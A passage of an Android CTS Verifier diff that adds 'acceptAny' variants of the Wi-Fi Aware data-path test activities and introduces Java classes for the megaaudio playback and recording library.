         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ false);
+                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ false,
+                /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java
index 1eb27a8..11c1e64 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java
@@ -27,6 +27,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ true);
+                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ true,
+                /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java
index 255877f..28f6c76 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java
@@ -27,6 +27,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ true);
+                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ true,
+                /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..69cdfd2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, solicited publish
+ */
+public class DataPathPmkSolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ true,
+                /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_pmk_solicited_publish,
+                R.string.aware_data_path_pmk_solicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java
index d6678eb..e0c0f29 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java
@@ -29,7 +29,8 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ true);
+                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ true,
+                /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..4c557e9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, unsolicited publish
+ */
+public class DataPathPmkUnsolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ true,
+                /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_pmk_unsolicited_publish,
+                R.string.aware_data_path_pmk_unsolicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java
index 8cfc1f9..a9154ec 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java
@@ -29,7 +29,8 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ true);
+                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ true,
+                /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/OWNERS
index 5811537..0132857 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/OWNERS
@@ -1,5 +1,4 @@
 # Bug component: 109581
 dysu@google.com
 etancohen@google.com
-rpius@google.com
 satk@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
index 2c6a895..0138787 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
@@ -29,6 +29,8 @@
 import android.view.View;
 import android.widget.ListView;
 
+import androidx.core.os.BuildCompat;
+
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
@@ -157,6 +159,76 @@
                     new Intent(this, DiscoveryRangingSubscribeTestActivity.class), null));
         }
 
+        if (BuildCompat.isAtLeastS()) {
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_open_unsolicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathOpenUnsolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathOpenUnsolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathOpenPassiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathOpenPassiveSubscribeTestActivity.class), null));
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_passphrase_unsolicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this,
+                            DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathPassphrasePassiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathPassphrasePassiveSubscribeTestActivity.class), null));
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_pmk_unsolicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathPmkUnsolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathPmkUnsolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathPmkPassiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathPmkPassiveSubscribeTestActivity.class), null));
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_open_solicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathOpenSolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathOpenSolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathOpenActiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathOpenActiveSubscribeTestActivity.class), null));
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_passphrase_solicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathPassphraseSolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathPassphraseSolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathPassphraseActiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathPassphraseActiveSubscribeTestActivity.class), null));
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_pmk_solicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathPmkSolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathPmkSolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathPmkActiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathPmkActiveSubscribeTestActivity.class), null));
+        }
+
         adapter.registerDataSetObserver(new DataSetObserver() {
             @Override
             public void onChanged() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
index 7a3384b..737234a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
@@ -23,6 +23,7 @@
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
+import android.net.wifi.aware.PublishDiscoverySession;
 import android.net.wifi.aware.WifiAwareNetworkInfo;
 import android.net.wifi.aware.WifiAwareNetworkSpecifier;
 import android.util.Log;
@@ -86,6 +87,7 @@
     private boolean mIsSecurityOpen;
     private boolean mUsePmk;
     private boolean mIsPublish;
+    private boolean mIsAcceptAny;
     private Thread mClientServerThread;
     private ConnectivityManager mCm;
     private CallbackUtils.NetworkCb mNetworkCb;
@@ -93,12 +95,13 @@
     private static int sSDKLevel = android.os.Build.VERSION.SDK_INT;
 
     public DataPathInBandTestCase(Context context, boolean isSecurityOpen, boolean isPublish,
-            boolean isUnsolicited, boolean usePmk) {
+            boolean isUnsolicited, boolean usePmk, boolean acceptAny) {
         super(context, isUnsolicited, false);
 
         mIsSecurityOpen = isSecurityOpen;
         mUsePmk = usePmk;
         mIsPublish = isPublish;
+        mIsAcceptAny = acceptAny;
     }
 
     @Override
@@ -366,8 +369,14 @@
         }
 
         // 5. Request network
-        WifiAwareNetworkSpecifier.Builder nsBuilder =
-                new WifiAwareNetworkSpecifier.Builder(mWifiAwareDiscoverySession, mPeerHandle);
+        WifiAwareNetworkSpecifier.Builder nsBuilder;
+        if (mIsAcceptAny) {
+            nsBuilder = new WifiAwareNetworkSpecifier
+                    .Builder((PublishDiscoverySession) mWifiAwareDiscoverySession);
+        } else {
+            nsBuilder = new WifiAwareNetworkSpecifier
+                    .Builder(mWifiAwareDiscoverySession, mPeerHandle);
+        }
         if (!mIsSecurityOpen) {
             if (mUsePmk) {
                 nsBuilder.setPmk(PMK);
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java
new file mode 100644
index 0000000..7021bfc
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.common;
+
+public class BuilderBase {
+    //TODO exlain the structure of these constants
+    // API Types - enumerated in high nibble
+    public static final int TYPE_MASK = 0xF000;
+    public static final int TYPE_UNDEFINED = 0xF000;
+    public static final int TYPE_NONE = 0x0000;
+    public static final int TYPE_JAVA = 0x1000;
+    public static final int TYPE_OBOE = 0x2000;
+
+    // API subtypes - enumerated in low nibble
+    public static final int SUB_TYPE_MASK = 0x0000F;
+    public static final int SUB_TYPE_OBOE_DEFAULT = 0x0000;
+    public static final int SUB_TYPE_OBOE_AAUDIO = 0x0001;
+    public static final int SUB_TYPE_OBOE_OPENSL_ES = 0x0002;
+
+    protected int mType = TYPE_UNDEFINED;
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java
new file mode 100644
index 0000000..1fb3cf0
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.common;
+
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+
+public abstract class StreamBase {
+    //
+    // Error Codes
+    // These values must be kept in sync with the equivalent symbols in
+    // megaaudio/common/Streambase.h
+    //
+    public static final int OK = 0;
+    public static final int ERROR_UNKNOWN = -1;
+    public static final int ERROR_UNSUPPORTED = -2;
+    public static final int ERROR_INVALID_STATE = -3;
+
+    //
+    // Stream attributes
+    //
+    protected int mChannelCount;
+    protected int mSampleRate;
+
+    // Routing
+    protected AudioDeviceInfo mRouteDevice;
+
+    // the thread on which the underlying Android AudioTrack/AudioRecord will run
+    protected Thread mStreamThread = null;
+
+    //
+    // Attributes
+    //
+    public int getChannelCount() { return mChannelCount; }
+    public int getSampleRate() { return mSampleRate; }
+
+    public abstract int getNumBufferFrames();
+
+    // Routing
+    public void setRouteDevice(AudioDeviceInfo routeDevice) {
+        mRouteDevice = routeDevice;
+    }
+
+    public static final int ROUTED_DEVICE_ID_INVALID = -1;
+    public abstract int getRoutedDeviceId();
+
+    //
+    // Sample Format Utils
+    //
+    /**
+     * @param encoding An Android ENCODING_ constant for audio data.
+     * @return The size in BYTES of samples encoded as specified.
+     */
+    public static int sampleSizeInBytes(int encoding) {
+        switch (encoding) {
+            case AudioFormat.ENCODING_PCM_16BIT:
+                return 2;
+
+            case AudioFormat.ENCODING_PCM_FLOAT:
+                return 4;
+
+            default:
+                return 0;
+        }
+    }
+
+    /**
+     * @param numChannels   The number of channels in a FRAME of audio data.
+     * @return  The size in BYTES of a FRAME of audio data encoded as specified.
+     */
+    public static int calcFrameSizeInBytes(int numChannels) {
+        return sampleSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT) * numChannels;
+    }
+
+    //
+    // State
+    //
+
+    /**
+     * @param channelCount  The number of channels of audio data to be streamed.
+     * @param sampleRate    The stream sample rate
+     * @param numFrames     The number of frames of audio data in the stream's buffer.
+     * @return              ERROR_NONE if successful, otherwise an error code
+     */
+    public abstract int setupStream(int channelCount, int sampleRate, int numFrames);
+
+    public abstract int teardownStream();
+
+    /**
+     * Starts playback on an open stream player. (@see open() method above).
+     * @return              ERROR_NONE if successful, otherwise an error code
+     */
+    public abstract int startStream();
+
+    /**
+     * Stops playback.
+     * May not stop the stream immediately. i.e. does not stop until the next audio callback
+     * from the underlying system.
+     * @return              ERROR_NONE if successful, otherwise an error code
+     */
+    public abstract int stopStream();
+
+    //
+    // Thread stuff
+    //
+    /**
+     * Joins the record thread to ensure that the stream is stopped.
+     */
+    protected void waitForStreamThreadToExit() {
+        try {
+            if (mStreamThread != null) {
+                mStreamThread.join();
+                mStreamThread = null;
+            }
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
+    //
+    // Utility
+    //
+    /**
+     * @param chanCount The number of channels for which to generate an index mask.
+     * @return  A channel index mask corresponding to the supplied channel count.
+     *
+     * @note The generated index mask has active channels from 0 to chanCount - 1
+     */
+    public static int channelCountToIndexMask(int chanCount) {
+        return  (1 << chanCount) - 1;
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java
new file mode 100644
index 0000000..bc94ea4
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.duplex;
+
+import android.media.AudioDeviceInfo;
+import android.util.Log;
+
+import org.hyphonate.megaaudio.common.BuilderBase;
+import org.hyphonate.megaaudio.common.StreamBase;
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.Player;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.recorder.AudioSink;
+import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.Recorder;
+import org.hyphonate.megaaudio.recorder.RecorderBuilder;
+
+public class DuplexAudioManager {
+    private static final String TAG = DuplexAudioManager.class.getSimpleName();
+
+    // Player
+    //TODO - explain these constants
+    private int mNumPlayerChannels = 2;
+    private int mPlayerSampleRate = 48000;
+    private int mNumPlayerBufferFrames;
+
+    private Player mPlayer;
+    private AudioSourceProvider mSourceProvider;
+    private AudioDeviceInfo mPlayerSelectedDevice;
+
+    // Recorder
+    private int mNumRecorderChannels = 2;
+    private int mRecorderSampleRate = 48000;
+    private int mNumRecorderBufferFrames;
+
+    private Recorder mRecorder;
+    private AudioSinkProvider mSinkProvider;
+    private AudioDeviceInfo mRecorderSelectedDevice;
+    private int mInputPreset = Recorder.INPUT_PRESET_NONE;
+
+    public DuplexAudioManager(AudioSourceProvider sourceProvider, AudioSinkProvider sinkProvider) {
+        mSourceProvider = sourceProvider;
+        mSinkProvider = sinkProvider;
+    }
+
+    public void setInputPreset(int preset) { mInputPreset = preset; }
+
+    public int setupStreams(int playerType, int recorderType) {
+        // Recorder
+        if ((recorderType & BuilderBase.TYPE_MASK) != BuilderBase.TYPE_NONE) {
+            try {
+                mRecorder = new RecorderBuilder()
+                        .setRecorderType(recorderType)
+                        .setAudioSinkProvider(mSinkProvider)
+                        .build();
+                if (mInputPreset != Recorder.INPUT_PRESET_NONE) {
+                    mRecorder.setInputPreset(mInputPreset);
+                }
+                mRecorder.setRouteDevice(mRecorderSelectedDevice);
+                int errorCode = mRecorder.setupStream(
+                        mNumRecorderChannels, mRecorderSampleRate, mNumRecorderBufferFrames);
+                if (errorCode != StreamBase.OK) {
+                    Log.e(TAG, "Recorder setupStream() failed");
+                    return errorCode;
+                }
+                mNumRecorderBufferFrames = mRecorder.getNumBufferFrames();
+            } catch (RecorderBuilder.BadStateException ex) {
+                Log.e(TAG, "Recorder - BadStateException" + ex);
+                return StreamBase.ERROR_UNSUPPORTED;
+            }
+        }
+
+        // Player
+        if ((playerType & BuilderBase.TYPE_MASK) != BuilderBase.TYPE_NONE) {
+            try {
+                mNumPlayerBufferFrames =
+                        Player.calcMinBufferFrames(mNumPlayerChannels, mPlayerSampleRate);
+                mPlayer = new PlayerBuilder()
+                        .setPlayerType(playerType)
+                        .setSourceProvider(mSourceProvider)
+                        .build();
+                mPlayer.setRouteDevice(mPlayerSelectedDevice);
+                int errorCode = mPlayer.setupStream(
+                        mNumPlayerChannels, mPlayerSampleRate, mNumPlayerBufferFrames);
+                if (errorCode != StreamBase.OK) {
+                    Log.e(TAG, "Player - setupStream() failed");
+                    return errorCode;
+                }
+            } catch (PlayerBuilder.BadStateException ex) {
+                Log.e(TAG, "Player - BadStateException" + ex);
+                return StreamBase.ERROR_UNSUPPORTED;
+            }
+        }
+
+        return StreamBase.OK;
+    }
+
+    public int start() {
+        int result = StreamBase.OK;
+        if (mRecorder != null && (result = mRecorder.startStream()) != StreamBase.OK) {
+            return result;
+        }
+
+        if (mPlayer != null && (result = mPlayer.startStream()) != StreamBase.OK) {
+            return result;
+        }
+
+        return result;
+    }
+
+    public int stop() {
+        int playerResult = StreamBase.OK;
+        if (mPlayer != null) {
+           int result1 = mPlayer.stopStream();
+           int result2 = mPlayer.teardownStream();
+           playerResult = result1 != StreamBase.OK ? result1 : result2;
+        }
+
+        int recorderResult = StreamBase.OK;
+        if (mRecorder != null) {
+            int result1 = mRecorder.stopStream();
+            int result2 = mRecorder.teardownStream();
+            recorderResult = result1 != StreamBase.OK ? result1 : result2;
+        }
+
+        return playerResult != StreamBase.OK ? playerResult: recorderResult;
+    }
+
+    public int getNumPlayerBufferFrames() {
+        return mPlayer != null ? mPlayer.getNumBufferFrames() : 0;
+    }
+
+    public int getNumRecorderBufferFrames() {
+        return mRecorder != null ? mRecorder.getNumBufferFrames() : 0;
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java
new file mode 100644
index 0000000..a8c41c1
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public abstract class AudioSource {
+    public AudioSource() {}
+
+    /**
+     * Called before the stream starts to allow initialization of the source
+     * @param numFrames The number of frames that will be requested in each pull() call.
+     * @param numChans The number of channels in the stream.
+     */
+    public void init(int numFrames, int numChans) {}
+
+    public void start() {}
+    public void stop() {}
+
+    /**
+     * reset a stream to the beginning.
+     */
+    public void reset() {}
+
+    /**
+     * Process a request for audio data.
+     * @param audioData The buffer to be filled.
+     * @param numFrames The number of frames of audio to provide.
+     * @param numChans The number of channels (in the buffer) required by the player.
+     * @return The number of frames actually generated. If this value is less than that
+     * requested, it may be interpreted by the player as the end of playback.
+     * Note that the player will be blocked by this call.
+     * Note that the data is assumed to be *interleaved*.
+     */
+    public abstract int pull(float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java
new file mode 100644
index 0000000..587c699
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public interface AudioSourceProvider {
+    /**
+     * @return return a Java AudioSource subclass object corresponding to the AudioSourceProvider
+     * implementation.
+     */
+    AudioSource getJavaSource();
+
+    /**
+     * @return a native (C/C++) AudioSource subclass object corresponding to the AudioSourceProvider
+     * implementation (stored in a long).
+     */
+    NativeAudioSource getNativeSource();
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java
new file mode 100644
index 0000000..6f8b8ff
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java
@@ -0,0 +1,227 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioTrack;
+import android.util.Log;
+
+import org.hyphonate.megaaudio.common.StreamBase;
+
+/**
+ * Implementation of abstract Player class implemented for the Android Java-based audio playback
+ * API, i.e. AudioTrack.
+ */
+public class JavaPlayer extends Player {
+    @SuppressWarnings("unused") private static String TAG = JavaPlayer.class.getSimpleName();
+    @SuppressWarnings("unused") private static final boolean LOG = false;
+
+    /*
+     * Player infrastructure
+     */
+    /* The AudioTrack for playing the audio stream */
+    private AudioTrack mAudioTrack;
+
+    private AudioSource mAudioSource;
+
+    // Playback state
+    /** <code>true</code> if currently playing audio data */
+    private boolean mPlaying;
+
+    /*
+     * Data buffers
+     */
+    /** Number of FRAMES of audio data in a burst buffer */
+    private int mNumBufferFrames;
+
+    /** The Burst Buffer. This is the buffer we fill with audio and feed into the AudioTrack. */
+    private float[] mAudioBuffer;
+
+    // Player-specific extension
+    public AudioTrack getAudioTrack() { return mAudioTrack; }
+
